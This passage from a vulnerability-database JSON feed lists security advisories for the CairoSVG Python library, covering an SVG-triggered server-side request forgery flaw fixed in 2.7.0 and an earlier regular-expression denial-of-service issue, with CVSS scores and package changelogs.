png`","status":"published","published":"2023-03-20T21:27:15Z","modified":"2026-09-10T03:49:57.000722156Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:L","level":"critical"},{"version":"4.0","score":7.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:L","level":"high"}],"cwes":["CWE-20","CWE-918"],"updated_at":"2026-11-02T15:46:56.639206Z"},{"id":"UBUNTU-CVE-2023-27586","description":"CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to version 2.7.0, Cairo can send requests to external hosts when processing SVG files. A malicious actor could send a specially crafted SVG file that allows them to perform a server-side request forgery or denial of service. Version 2.7.0 disables CairoSVG's ability to access other files online by default.","status":"published","published":"2023-03-20T16:15:00Z","modified":"2026-11-06T13:50:02.186947538Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:L","level":"critical"},{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H","level":"high"}],"updated_at":"2026-11-06T14:22:28.548503Z"},{"id":"DSA-5382-1","title":"cairosvg - security update","status":"published","published":"2023-04-05T00:00:00Z","modified":"2026-03-09T02:10:26.590831Z","updated_at":"2026-11-02T15:46:17.543497Z"},{"id":"MGASA-2023-0126","title":"Updated python-cairosvg packages fix security vulnerability","description":"CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior\nto version 2.7.0, Cairo can send requests to external hosts when\nprocessing SVG files. A malicious actor could send a specially crafted SVG\nfile that allows them to perform a server-side request forgery or denial\nof service. Version 2.7.0 disables CairoSVG's ability to access other\nfiles online by default. (CVE-2023-27586)\n","status":"published","published":"2023-04-06T21:20:12Z","modified":"2026-04-16T04:44:15.692882542Z","updated_at":"2026-11-02T15:49:42.263076Z"},{"id":"openSUSE-SU-2023:0260-1","title":"Security update for python-CairoSVG","description":"This update for python-CairoSVG fixes the following issues:\n\n- CVE-2023-27586: Don't allow fetching external files unless explicitly asked for. (boo#1209538)\n\n- Update to version 2.5.2\n\n  * Fix marker path scale\n\n- Update to version 2.5.1 (boo#1180648, CVE-2021-21236):\n\n  * Security fix: When processing SVG files, CairoSVG was using two\n    regular expressions which are vulnerable to Regular Expression \n    Denial of Service (REDoS). If an attacker provided a malicious \n    SVG, it could make CairoSVG get stuck processing the file for a \n    very long time.\n  * Fix marker positions for unclosed paths\n  * Follow hint when only output_width or output_height is set\n  * Handle opacity on raster images\n  * Don’t crash when use tags reference unknown tags\n  * Take care of the next letter when A/a is replaced by l\n  * Fix misalignment in node.vertices\n\n- Updates for version 2.5.0.\n\n  * Drop support of Python 3.5, add support of Python 3.9.\n  * Add EPS export\n  * Add background-color, negate-colors, and invert-images options\n  * Improve support for font weights\n  * Fix opacity of patterns and gradients\n  * Support auto-start-reverse value for orient\n  * Draw images contained in defs\n  * Add Exif transposition support\n  * Handle dominant-baseline\n  * Support transform-origin\n","status":"published","published":"2023-09-25T12:02:25Z","modified":"2026-02-04T03:11:13.29582Z","updated_at":"2026-11-02T16:58:32.653274Z"},{"id":"openSUSE-SU-2023:0272-1","title":"Security update for python-CairoSVG","description":"This update for python-CairoSVG fixes the following issues:\n\n- CVE-2023-27586: Don't allow fetching external files unless explicitly asked for.  (boo#1209538)\n\n- Update to version 2.5.2\n\n  * Fix marker path scale\n\n- Update to version 2.5.1 (boo#1180648, CVE-2021-21236):\n\n  * Security fix: When processing SVG files, CairoSVG was using two\n    regular expressions which are vulnerable to Regular Expression \n    Denial of Service (REDoS). If an attacker provided a malicious \n    SVG, it could make CairoSVG get stuck processing the file for a \n    very long time.\n\n  * Fix marker positions for unclosed paths\n  * Follow hint when only output_width or output_height is set\n  * Handle opacity on raster images\n  * Don’t crash when use tags reference unknown tags\n  * Take care of the next letter when A/a is replaced by l\n  * Fix misalignment in node.vertices\n\n- Updates for version 2.5.0.\n\n  * Drop support of Python 3.5, add support of Python 3.9.\n  * Add EPS export\n  * Add background-color, negate-colors, and invert-images options\n  * Improve support for font weights\n  * Fix opacity of patterns and gradients\n  * Support auto-start-reverse value for orient\n  * Draw images contained in defs\n  * Add Exif transposition support\n  * Handle dominant-baseline\n  * Support transform-origin\n","status":"published","published":"2023-09-25T22:02:13Z","modified":"2026-02-04T03:12:20.461124Z","updated_at":"2026-11-02T16:58:32.653274Z"},{"id":"openSUSE-SU-2024:13218-1","title":"python310-CairoSVG-2.7.1-1.1 on GA media","description":"These are all security issues fixed in the python310-CairoSVG-2.7.1-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2024-06-15T00:00:00Z","modified":"2026-02-04T03:31:24.080507Z","updated_at":"2026-11-02T16:58:36.025801Z"},{"id":"openSUSE-SU-2026:11989-1","title":"python313-CairoSVG-2.9.0-1.3 on GA media","description":"These are all security issues fixed in the python313-CairoSVG-2.9.0-1.3 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-10-04T00:00:00Z","modified":"2026-10-05T10:15:29.788420114Z","updated_at":"2026-11-02T16:58:40.245664Z"},{"id":"PYSEC-2023-9","description":"CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to version 2.7.0, Cairo can send requests to external hosts when processing SVG files. A malicious actor could send a specially crafted SVG file that allows them to perform a server-side request forgery or denial of service. Version 2.7.0 disables CairoSVG's ability to access other files online by default.","status":"published","published":"2023-03-20T16:15:00Z","modified":"2023-11-08T04:12:06.950413Z","updated_at":"2026-11-02T15:52:53.837392Z"}]}}